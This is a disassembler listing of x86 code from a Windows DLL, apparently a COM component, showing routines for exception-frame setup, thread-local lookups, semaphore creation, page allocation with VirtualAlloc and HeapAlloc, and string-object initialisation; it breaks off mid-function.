; FUNCTION CHUNK AT 69B11D17 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 69B19094 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 69B23E93 SIZE 000000B5 BYTES

		push	4Ch
		push	offset dword_69B19760
		call	sub_69B19C5C
		and	dword ptr [ebp-1Ch], 0
		push	dwTlsIndex
		call	dword_69B92970
		mov	esi, eax
		mov	[ebp-20h], esi
		test	esi, esi
		jz	short loc_69B19654
		mov	ecx, [esi+45Ch]
		test	ecx, ecx
		jnz	loc_69B23E93


loc_69B19654:				; CODE XREF: sub_69B19621+23j
		xor	ebx, ebx
		inc	ebx
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		push	esi
		mov	ecx, dword_69B929D0
		call	sub_69B18BC5
		mov	[ebp-1Ch], ebx
		mov	edi, [ebp+8]
		mov	ecx, dword_69B95A20
		test	edi, edi
		jz	loc_69B11D17
		mov	[ebp-3Ch], ecx
		push	edi
		call	sub_69B1980A


loc_69B1968D:				; CODE XREF: sub_69B19621-78FFj
		mov	esi, eax
		mov	[ebp-40h], esi
		test	esi, esi
		jnz	loc_69B11D27


loc_69B1969A:				; CODE XREF: sub_69B19621-78F2j
		mov	ecx, dword_69B929D0
		mov	eax, [ecx]
		call	dword ptr [eax+18h]
		and	dword ptr [ebp-1Ch], 0
		test	esi, esi
		jnz	loc_69B19744
		test	edi, edi
		jz	loc_69B19094
		mov	ecx, edi
		call	sub_69B1B42A
		cmp	eax, ebx
		jnz	loc_69B23F1A
		mov	[ebp-4Ch], edi


loc_69B196CB:				; CODE XREF: sub_69B19621-57Dj
		push	1Ch
		call	sub_69B17EF3
		mov	[ebp-50h], eax
		test	eax, eax
		jz	loc_69B11D34
		mov	esi, [ebp-4Ch]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+20h]
		push	eax
		push	esi
		mov	ecx, [ebp-50h]
		call	sub_69B180B6


loc_69B196F1:				; CODE XREF: sub_69B19621-78EBj
		mov	edi, eax
		mov	[ebp-40h], edi
		push	dword ptr [ebp-20h]
		mov	ecx, dword_69B929D0
		call	sub_69B18F67
		mov	dword ptr [ebp-1Ch], 2
		mov	ecx, dword_69B95A20
		mov	[ebp-54h], ecx
		push	edi
		push	dword ptr [ebp-4Ch]
		call	sub_69B18FB8
		mov	esi, eax
		mov	[ebp-58h], esi
		mov	eax, dword_69B929A8
		mov	[esi+0Ch], eax
		mov	ecx, dword_69B929D0
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		and	dword ptr [ebp-1Ch], 0
		cmp	esi, edi
		jnz	loc_69B23F2E


loc_69B19741:				; CODE XREF: sub_69B19621+A922j
		mov	[ebp-40h], esi


loc_69B19744:				; CODE XREF: sub_69B19621+8Aj
					; sub_69B23F51+49j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-38h]


loc_69B1974B:				; CODE XREF: sub_69B19621+A8F4j
		call	sub_69B1976C


loc_69B19750:				; CODE XREF: sub_69B19621+A890j
		mov	eax, esi
		call	sub_69B1853C
		retn	0Ch
sub_69B19621	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B19760	dd 0FFFFFFFFh			dd offset sub_69B23F48
		dd offset sub_69B23F51

; =============== S U B	R O U T	I N E =======================================



sub_69B1976C	proc near		; CODE XREF: sub_69B1992C-7B41p
					; sub_69B18EBA+1Aj ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_69B1977B
		mov	edx, [ecx+4]
		mov	[eax+2Ch], edx
		and	dword ptr [ecx], 0

locret_69B1977B:			; CODE XREF: sub_69B1976C+4j
		retn
sub_69B1976C	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B19780	dd offset sub_69B6547B	; DATA XREF: sub_69B65445+13o
					; sub_69B6C869+1Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B65495
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B6C79F
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5
		dd offset sub_69B6860C
		dd offset nullsub_3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_69B197C1	proc near		; DATA XREF: .text:69B172ECo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B197DC
		test	[esp+4+arg_0], 1
		jz	short loc_69B197D6
		push	esi
		call	sub_69B1829F


loc_69B197D6:				; CODE XREF: sub_69B197C1+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B197C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B197DC	proc near		; CODE XREF: sub_69B197C1+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B197DC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1980A


loc_69B19802:				; CODE XREF: sub_69B1980A+3Aj
		mov	eax, [ebp-20h]
		mov	ebx, [eax+4]
		jmp	short loc_69B19846
; END OF FUNCTION CHUNK	FOR sub_69B1980A

; =============== S U B	R O U T	I N E =======================================



sub_69B1980A	proc near		; CODE XREF: sub_69B17064+40p
					; sub_69B19621+67p ...

; FUNCTION CHUNK AT 69B19802 SIZE 00000008 BYTES

		push	14h
		push	offset dword_69B19860
		call	sub_69B19C5C
		mov	edi, ecx
		push	dword ptr [edi+24h]
		lea	ecx, [ebp-1Ch]
		call	sub_69B1986C
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	ebx
		push	ebx
		lea	eax, [ebp-20h]
		push	eax
		mov	esi, [ebp+8]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+20h]
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_69B1879A
		cmp	eax, 1
		jz	short loc_69B19802


loc_69B19846:				; CODE XREF: sub_69B1980A-2j
		mov	[ebp-24h], ebx


loc_69B19849:				; CODE XREF: sub_69B24019+10j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-1Ch]
		call	sub_69B1948C
		mov	eax, [ebp-24h]
		call	sub_69B1853C
		retn	4
sub_69B1980A	endp

; ---------------------------------------------------------------------------
dword_69B19860	dd 0FFFFFFFFh			dd offset sub_69B24010
		dd offset sub_69B24019

; =============== S U B	R O U T	I N E =======================================



sub_69B1986C	proc near		; CODE XREF: sub_69B1941C+14p
					; sub_69B1980A+14p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B233D0 SIZE 00000012 BYTES

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		mov	esi, ecx
		mov	[esi], eax
		jnz	loc_69B233D0


loc_69B1987D:				; CODE XREF: sub_69B1986C+9B71j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1986C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19888


loc_69B19883:				; CODE XREF: sub_69B19888+46j
		xor	eax, eax
		inc	eax
		jmp	short loc_69B198B1
; END OF FUNCTION CHUNK	FOR sub_69B19888

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B19888	proc near		; CODE XREF: sub_69B1941C+35p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 69B19883 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		and	eax, 7FFFFFFFh
		push	esi
		cdq
		push	edi
		mov	edi, ecx
		idiv	dword ptr [edi+18h]
		mov	eax, edx


loc_69B1989D:				; CODE XREF: sub_69B19888+4Ej
		mov	ecx, [edi+20h]
		push	eax
		call	sub_69B171A0
		mov	esi, eax
		cmp	dword ptr [esi+0Ch], 0
		jnz	short loc_69B198BC
		push	2


loc_69B198B0:				; CODE XREF: sub_69B19888+52j
		pop	eax


loc_69B198B1:				; CODE XREF: sub_69B19888-2j
		mov	ecx, [ebp+arg_C]
		pop	edi
		mov	[ecx], esi
		pop	esi
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_69B198BC:				; CODE XREF: sub_69B19888+24j
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B198DC
		test	al, al
		jnz	short loc_69B19883
		mov	eax, [esi+0Ch]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_69B1989D
		push	3
		jmp	short loc_69B198B0
sub_69B19888	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B198DC	proc near		; CODE XREF: sub_69B19888+3Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [ecx+8]
		cmp	eax, [esp+arg_8]
		jz	short loc_69B198EA


loc_69B198E5:				; CODE XREF: sub_69B198DC+1Fj
		xor	eax, eax

locret_69B198E7:			; CODE XREF: sub_69B198DC+24j
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B198EA:				; CODE XREF: sub_69B198DC+7j
		push	[esp+arg_4]
		mov	ecx, [ecx]
		push	[esp+4+arg_0]
		call	sub_69B19902
		test	al, al
		jz	short loc_69B198E5
		xor	eax, eax
		inc	eax
		jmp	short locret_69B198E7
sub_69B198DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19902	proc near		; CODE XREF: sub_69B198DC+18p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_0]
		test	edi, edi
		mov	eax, ecx
		jz	short loc_69B19928
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, [eax+8]
		jnz	short loc_69B19928
		push	esi
		mov	esi, [eax+0Ch]
		add	ecx, ecx
		xor	eax, eax
		repe cmpsb
		pop	esi
		jnz	short loc_69B19928
		inc	eax


loc_69B19924:				; CODE XREF: sub_69B19902+28j
		pop	edi
		retn	8
; ---------------------------------------------------------------------------


loc_69B19928:				; CODE XREF: sub_69B19902+9j
					; sub_69B19902+12j ...
		xor	eax, eax
		jmp	short loc_69B19924
sub_69B19902	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1992C	proc near		; CODE XREF: sub_69B1BCE3+F5p
					; DllGetClassObject+63F6p

; FUNCTION CHUNK AT 69B11DD9 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 69B1A54C SIZE 0000003B BYTES
; FUNCTION CHUNK AT 69B1A8E2 SIZE 00000072 BYTES

		push	34h
		push	offset dword_69B199C0
		call	sub_69B19C5C
		xor	esi, esi
		cmp	dword_69B95AB8,	esi
		jnz	loc_69B11DF8
		push	dword_69B929E8
		lea	ecx, [ebp-1Ch]
		call	sub_69B18E23
		push	1
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	[ebp-4], esi
		cmp	dword_69B95AB8,	esi
		jnz	loc_69B11DE4
		push	32h
		push	10h
		call	sub_69B11DC2
		pop	ecx
		pop	ecx
		mov	ecx, eax
		mov	[ebp-2Ch], ecx
		cmp	ecx, esi
		jz	loc_69B11DFE
		call	sub_69B1EDE8


loc_69B1998A:				; CODE XREF: sub_69B1992C-7B2Cj
		mov	edi, eax
		mov	[ebp-30h], edi


loc_69B1998F:				; CODE XREF: sub_69B1992C+90j
		mov	[ebp-34h], esi
		cmp	esi, 20h
		jge	loc_69B1A54C
		push	esi
		mov	ecx, edi
		call	sub_69B1A954
		mov	[ebp-38h], eax
		push	off_69B92238[esi*4] ; lpString
		call	sub_69B11E05
		push	eax
		mov	ecx, [ebp-38h]
		call	sub_69B199CC
		inc	esi
		jmp	short loc_69B1998F
sub_69B1992C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B199C0	dd 0FFFFFFFFh			dd offset sub_69B24AA1
		dd offset sub_69B24AAA

; =============== S U B	R O U T	I N E =======================================



sub_69B199CC	proc near		; CODE XREF: sub_69B19E6E-BC2p
					; sub_69B1992C+8Ap ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		push	esi
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	4
sub_69B199CC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18A22


loc_69B199DF:				; CODE XREF: sub_69B18A22+44j
		dec	eax
		jnz	loc_69B18A8A
		mov	ecx, esi
		call	sub_69B19A09
		mov	eax, [esi+1Ch]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax
		push	dword ptr [esi+1Ch]
		mov	ecx, [esi+20h]
		call	sub_69B171A0
		mov	[ebp+arg_0], eax
		jmp	loc_69B18A6C
; END OF FUNCTION CHUNK	FOR sub_69B18A22

; =============== S U B	R O U T	I N E =======================================



sub_69B19A09	proc near		; CODE XREF: sub_69B18A22+FC6p
		push	esi
		mov	esi, ecx


loc_69B19A0C:				; CODE XREF: sub_69B19A09+16j
		dec	dword ptr [esi+1Ch]
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+20h]
		push	eax
		call	sub_69B171A0
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_69B19A0C
		pop	esi
		retn
sub_69B19A09	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19A23	proc near		; CODE XREF: sub_69B1B7AD+23p

; FUNCTION CHUNK AT 69B234B5 SIZE 00000007 BYTES

		push	8
		push	offset dword_69B19AE0
		call	sub_69B19C5C
		xor	edi, edi
		inc	edi
		xor	esi, esi
		mov	dword_69B929E8,	esi
		mov	dword_69B929E4,	esi
		mov	dword_69B929E0,	esi
		mov	dword_69B929DC,	esi
		mov	dword_69B929D8,	esi
		mov	dword_69B929D4,	esi
		mov	dword_69B929D0,	esi
		mov	[ebp-4], esi
		call	sub_69B1BB5E
		mov	dword_69B929E8,	eax
		call	sub_69B19AEC
		mov	dword_69B929E4,	eax
		call	sub_69B19AEC
		mov	dword_69B929E0,	eax
		call	sub_69B19AEC
		mov	dword_69B929DC,	eax
		call	sub_69B19AEC
		mov	dword_69B929D8,	eax
		push	esi
		push	edi
		push	edi
		push	esi
		call	ds:SHLWAPI_51
		mov	hObject, eax
		call	sub_69B1B352
		mov	dword_69B929D4,	eax
		call	sub_69B1B352
		mov	dword_69B929D0,	eax


loc_69B19AB6:				; CODE XREF: sub_69B234A9+7j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_69B19ACF
		cmp	hObject, esi
		jz	short loc_69B19ACF
		xor	eax, eax
		inc	eax


loc_69B19AC9:				; CODE XREF: sub_69B19A23+9A94j
		call	sub_69B1853C
		retn
; ---------------------------------------------------------------------------


loc_69B19ACF:				; CODE XREF: sub_69B19A23+99j
					; sub_69B19A23+A1j
		call	sub_69B1E47C
		jmp	loc_69B234B5
sub_69B19A23	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B19AE0	dd 0FFFFFFFFh			dd offset sub_69B234A0
		dd offset sub_69B234A9

; =============== S U B	R O U T	I N E =======================================



sub_69B19AEC	proc near		; CODE XREF: sub_69B1A799:loc_69B11CDBp
					; sub_69B19A23+48p ...

; FUNCTION CHUNK AT 69B23497 SIZE 00000003 BYTES

		push	28h
		call	sub_69B1D897
		test	eax, eax
		jz	loc_69B23497
		push	100h
		push	1000h
		mov	ecx, eax
		call	sub_69B19B0D
		retn
sub_69B19AEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19B0D	proc near		; CODE XREF: sub_69B19AEC+1Bp
					; sub_69B1AD51+14p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B23482 SIZE 00000015 BYTES

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19B5C
		mov	eax, [esp+8+arg_0]
		xor	edi, edi
		push	edi		; lpName
		push	100h		; lMaximumCount
		mov	[esi+18h], eax
		mov	eax, [esp+10h+arg_4]
		push	edi		; lInitialCount
		mov	[esi+10h], edi
		mov	[esi+14h], edi
		push	edi		; lpSemaphoreAttributes
		mov	dword ptr [esi], offset	off_69B1F248
		mov	dword ptr [esi+4], offset off_69B1B294
		mov	[esi+24h], edi
		mov	[esi+1Ch], eax
		call	ds:CreateSemaphoreA	; CreateSemaphoreA
		cmp	eax, edi
		mov	[esi+20h], eax
		jz	loc_69B23482


loc_69B19B55:				; CODE XREF: sub_69B19B0D+9985j
		pop	edi
		mov	eax, esi
		pop	esi
		retn	8
sub_69B19B0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19B5C	proc near		; CODE XREF: sub_69B19B0D+4p
					; sub_69B1BB5E+14p
		push	esi
		push	1
		mov	esi, ecx
		call	sub_69B19B6A
		mov	eax, esi
		pop	esi
		retn
sub_69B19B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19B6A	proc near		; CODE XREF: sub_69B19B5C+5p
					; sub_69B1DA6C+5p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, ecx
		lea	edi, [esi+4]
		push	offset stru_69B1CA6C
		mov	ecx, edi
		call	sub_69B19B94
		mov	dword ptr [edi], offset	off_69B1BBE0
		pop	edi
		mov	dword ptr [esi], offset	off_69B1AEB8
		mov	eax, esi
		pop	esi
		retn	4
sub_69B19B6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19B94	proc near		; CODE XREF: sub_69B19B6A+12p
					; sub_69B1DFFA+1Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax+4], ecx
		mov	ecx, [esp+arg_4]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFFFFCh
		add	ecx, 4
		or	ecx, 8
		mov	[eax+8], ecx
		retn	8
sub_69B19B94	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19BB4	proc near		; CODE XREF: .text:69B2D955p
					; DATA XREF: sub_69B1CA7C:loc_69B1CB0Bo ...
		call	sub_69B19BC1
		test	eax, eax
		jz	short locret_69B19BC0
		inc	dword ptr [eax+30h]

locret_69B19BC0:			; CODE XREF: sub_69B19BB4+7j
		retn
sub_69B19BB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19BC1	proc near		; CODE XREF: sub_69B19BB4p
					; sub_69B1ABCC+26p ...
		push	dwTlsIndex
		call	dword_69B92970
		test	eax, eax
		jz	sub_69B1CC44
		retn
sub_69B19BC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19BD6	proc near		; CODE XREF: sub_69B1CD73p

; FUNCTION CHUNK AT 69B25093 SIZE 0000000F BYTES

		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset dword_69B95C50


loc_69B19BDF:				; CODE XREF: sub_69B19BD6+17j
		cmp	dword_69B9269C[esi*8], 1
		jz	short loc_69B19BF5


loc_69B19BE9:				; CODE XREF: sub_69B19BD6+41j
		inc	esi
		cmp	esi, 24h
		jl	short loc_69B19BDF
		xor	eax, eax
		inc	eax


loc_69B19BF2:				; CODE XREF: sub_69B19BD6+B4C7j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B19BF5:				; CODE XREF: sub_69B19BD6+11j
		lea	eax, lpCriticalSection[esi*8]
		mov	[eax], edi
		push	0FA0h
		push	dword ptr [eax]
		add	edi, 18h
		call	sub_69B19C19
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_69B25093
		jmp	short loc_69B19BE9
sub_69B19BD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19C19	proc near		; CODE XREF: sub_69B19BD6+32p
					; sub_69B11383+B182p ...

; FUNCTION CHUNK AT 69B1EC3E SIZE 0000003E BYTES
; FUNCTION CHUNK AT 69B2535E SIZE 0000000F BYTES

		push	10h
		push	offset dword_69B19C50
		call	sub_69B19C5C
		mov	eax, dword_69B95DA4
		test	eax, eax
		jz	loc_69B1EC3E


loc_69B19C32:				; CODE XREF: sub_69B19C19+5058j
					; sub_69B19C19+B74Fj
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	eax ; dword_69B95DA4
		mov	[ebp-1Ch], eax


loc_69B19C41:				; CODE XREF: sub_69B2537B+16j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn
sub_69B19C19	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B19C50	dd 0FFFFFFFFh			dd offset sub_69B2536D
		dd offset sub_69B2537B

; =============== S U B	R O U T	I N E =======================================



sub_69B19C5C	proc near		; CODE XREF: sub_69B11383+7p
					; sub_69B17135+7p ...

arg_4		= dword	ptr  8

		push	offset sub_69B22496
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], ebp
		lea	ebp, [esp+8+arg_4]
		sub	esp, eax
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp-8]
		mov	[ebp-18h], esp
		push	eax
		mov	eax, [ebp-4]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	[ebp-8], eax
		lea	eax, [ebp-10h]
		mov	large fs:0, eax
		retn
sub_69B19C5C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B184B1


loc_69B19C97:				; CODE XREF: sub_69B184B1+1Bj
		mov	ebx, [ebp+0Ch]


loc_69B19C9A:				; CODE XREF: sub_69B184B1+B650j
					; sub_69B184B1+B688j
		mov	esi, [esi]
		mov	eax, [ebp+8]
		cmp	esi, [eax+2020h]
		jnz	loc_69B184C6
		mov	[ebp-24h], eax


loc_69B19CAE:				; CODE XREF: sub_69B184B1-9j
		mov	edx, [eax+10h]
		cmp	edx, 0FFFFFFFFh
		jnz	loc_69B23B3E


loc_69B19CBA:				; CODE XREF: sub_69B184B1+B692j
		mov	eax, [eax]
		mov	[ebp-24h], eax
		cmp	eax, [ebp+8]
		jnz	loc_69B184A5
		push	dword ptr [ebp+8]
		call	sub_69B19D0A
		pop	ecx
		test	eax, eax
		jz	loc_69B184AD
		mov	ecx, [eax+10h]
		mov	[ecx+10h], bl
		mov	edx, [ebp+8]
		mov	[edx+2020h], eax
		lea	edx, [ecx+ebx+10h]
		mov	[ecx+8], edx
		mov	edx, 0EFh
		sub	edx, ebx
		mov	[ecx+0Ch], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+110h]
		jmp	loc_69B18524
; END OF FUNCTION CHUNK	FOR sub_69B184B1

; =============== S U B	R O U T	I N E =======================================



sub_69B19D0A	proc near		; CODE XREF: sub_69B184B1+181Ap

; FUNCTION CHUNK AT 69B1E725 SIZE 000000AD BYTES
; FUNCTION CHUNK AT 69B239B1 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 69B23A59 SIZE 00000038 BYTES

		push	1Ch
		push	offset dword_69B19DA8
		call	sub_69B19C5C
		mov	esi, [ebp+8]
		mov	[ebp-1Ch], esi
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jnz	loc_69B239B1
		mov	[ebp-20h], esi


loc_69B19D29:				; CODE XREF: sub_69B19D0A+9CD7j
		push	4		; flProtect
		push	2000h		; flAllocationType
		push	400000h		; dwSize
		push	0		; lpAddress
		mov	edi, ds:VirtualAlloc
		call	edi ; VirtualAlloc
		mov	ebx, eax
		mov	[ebp-24h], ebx
		test	ebx, ebx
		jz	loc_69B23A66
		push	4		; flProtect
		push	1000h		; flAllocationType
		push	10000h		; dwSize
		push	ebx		; lpAddress
		cmp	dword_69B92940,	0
		jnz	loc_69B1E7C8
		call	edi ; VirtualAlloc


loc_69B19D68:				; CODE XREF: sub_69B19D0A+4AC3j
		xor	edi, edi
		cmp	eax, edi
		jz	loc_69B23A59
		push	400000h
		push	ebx
		call	sub_69B1C352
		mov	[ebp-28h], ebx
		mov	[ebp-4], edi
		mov	[ebp-2Ch], edi


loc_69B19D86:				; CODE XREF: sub_69B19D0A+98j
		cmp	dword ptr [ebp-2Ch], 10h
		jge	loc_69B1E725
		push	dword ptr [ebp-28h]
		call	sub_69B19DB4
		inc	dword ptr [ebp-2Ch]
		add	dword ptr [ebp-28h], 1000h
		jmp	short loc_69B19D86
sub_69B19D0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B19DA8	dd 0FFFFFFFFh			dd offset sub_69B23A0A
		dd offset sub_69B23A13

; =============== S U B	R O U T	I N E =======================================



sub_69B19DB4	proc near		; CODE XREF: sub_69B1818F-64FDp
					; sub_69B19D0A+89p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B11C75 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 69B238AF SIZE 00000019 BYTES

		cmp	byte_69B929BC, 0
		jnz	short locret_69B19E31
		mov	ecx, dword_69B929E4
		test	ecx, ecx
		jz	short loc_69B19DCE
		push	0FFFFFFFFh	; dwMilliseconds
		call	sub_69B18F8A


loc_69B19DCE:				; CODE XREF: sub_69B19DB4+11j
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		shr	esi, 2
		push	edi
		mov	eax, esi
		shr	eax, 13h
		mov	edi, esi
		shr	edi, 0Ch
		lea	ebx, dword_69B94A00[eax*4]
		mov	ebp, [ebx]
		and	edi, 7Fh
		test	ebp, ebp
		jz	loc_69B11C75


loc_69B19DF7:				; CODE XREF: sub_69B19DB4-8128j
		lea	edi, [ebp+edi*4+4]
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_69B19E34


loc_69B19E01:				; CODE XREF: sub_69B19DB4+98j
		and	esi, 0FFFh
		mov	ecx, esi
		shr	ecx, 5
		lea	edx, [eax+ecx*4+4]
		mov	ecx, esi
		xor	esi, esi
		and	ecx, 1Fh
		inc	esi
		shl	esi, cl
		or	[edx], esi
		inc	dword ptr [eax]
		mov	ecx, dword_69B929E4
		test	ecx, ecx
		jz	short loc_69B19E2D
		call	sub_69B18381


loc_69B19E2D:				; CODE XREF: sub_69B19DB4+72j
					; sub_69B19DB4+9B0Fj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx

locret_69B19E31:			; CODE XREF: sub_69B19DB4+7j
		retn	4
; ---------------------------------------------------------------------------


loc_69B19E34:				; CODE XREF: sub_69B19DB4+4Bj
		push	204h		; dwBytes
		call	sub_69B19E4E
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jz	loc_69B238AF
		inc	dword ptr [ebp+0]
		jmp	short loc_69B19E01
sub_69B19DB4	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_69B19E4E(DWORD dwBytes)

sub_69B19E4E	proc near		; CODE XREF: sub_69B19DB4-813Ap
					; sub_69B19DB4+85p

dwBytes		= dword	ptr  4

; FUNCTION CHUNK AT 69B238A3 SIZE 00000006 BYTES

		cmp	dword_69B92940,	0
		push	[esp+dwBytes]	; dwBytes
		push	8		; dwFlags
		push	hHeap		; hHeap
		jnz	loc_69B238A3
		call	ds:HeapAlloc
		retn
sub_69B19E4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B19E6E	proc near		; CODE XREF: sub_69B1BCE3+F0p
					; DllGetClassObject:loc_69B2292Fp

; FUNCTION CHUNK AT 69B1927E SIZE 00000039 BYTES
; FUNCTION CHUNK AT 69B1D6E4 SIZE 00000112 BYTES

		push	80h
		push	offset dword_69B1A0A0
		call	sub_69B19C5C
		xor	esi, esi
		cmp	dword_69B95A84,	esi
		jnz	loc_69B1D7E9
		push	dword_69B929E8
		lea	ecx, [ebp-1Ch]
		call	sub_69B18E23
		push	1
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	[ebp-4], esi
		cmp	dword_69B95A84,	esi
		jnz	loc_69B1D7D5
		push	offset off_69B1A5AC
		call	sub_69B19611
		mov	[ebp-2Ch], eax
		push	eax		; Value
		mov	ecx, offset dword_69B95A7C ; Target
		call	sub_69B188DC
		push	offset off_69B1F2C8
		call	sub_69B19611
		mov	[ebp-30h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B95A74 ; Target
		call	sub_69B188DC
		push	offset off_69B1F304
		call	sub_69B19611
		mov	[ebp-34h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B95A6C ; Target
		call	sub_69B188DC
		push	offset off_69B1A010
		call	sub_69B19611
		mov	[ebp-38h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B95A64 ; Target
		call	sub_69B188DC
		push	offset off_69B1A020
		call	sub_69B19611
		mov	[ebp-3Ch], eax
		push	eax		; Value
		mov	ecx, offset dword_69B95A5C ; Target
		call	sub_69B188DC
		push	offset off_69B1A030
		call	sub_69B19611
		mov	[ebp-40h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B95A54 ; Target
		call	sub_69B188DC
		push	offset off_69B1A040
		call	sub_69B19611
		mov	[ebp-44h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B95A44 ; Target
		call	sub_69B188DC
		push	offset off_69B1A058
		call	sub_69B19611
		mov	[ebp-48h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B95A4C ; Target
		call	sub_69B188DC
		push	offset off_69B1A068
		call	sub_69B19611
		mov	[ebp-4Ch], eax
		push	eax		; Value
		mov	ecx, offset dword_69B95A3C ; Target
		call	sub_69B188DC
		push	offset off_69B1A078
		call	sub_69B19611
		mov	[ebp-50h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B95A34 ; Target
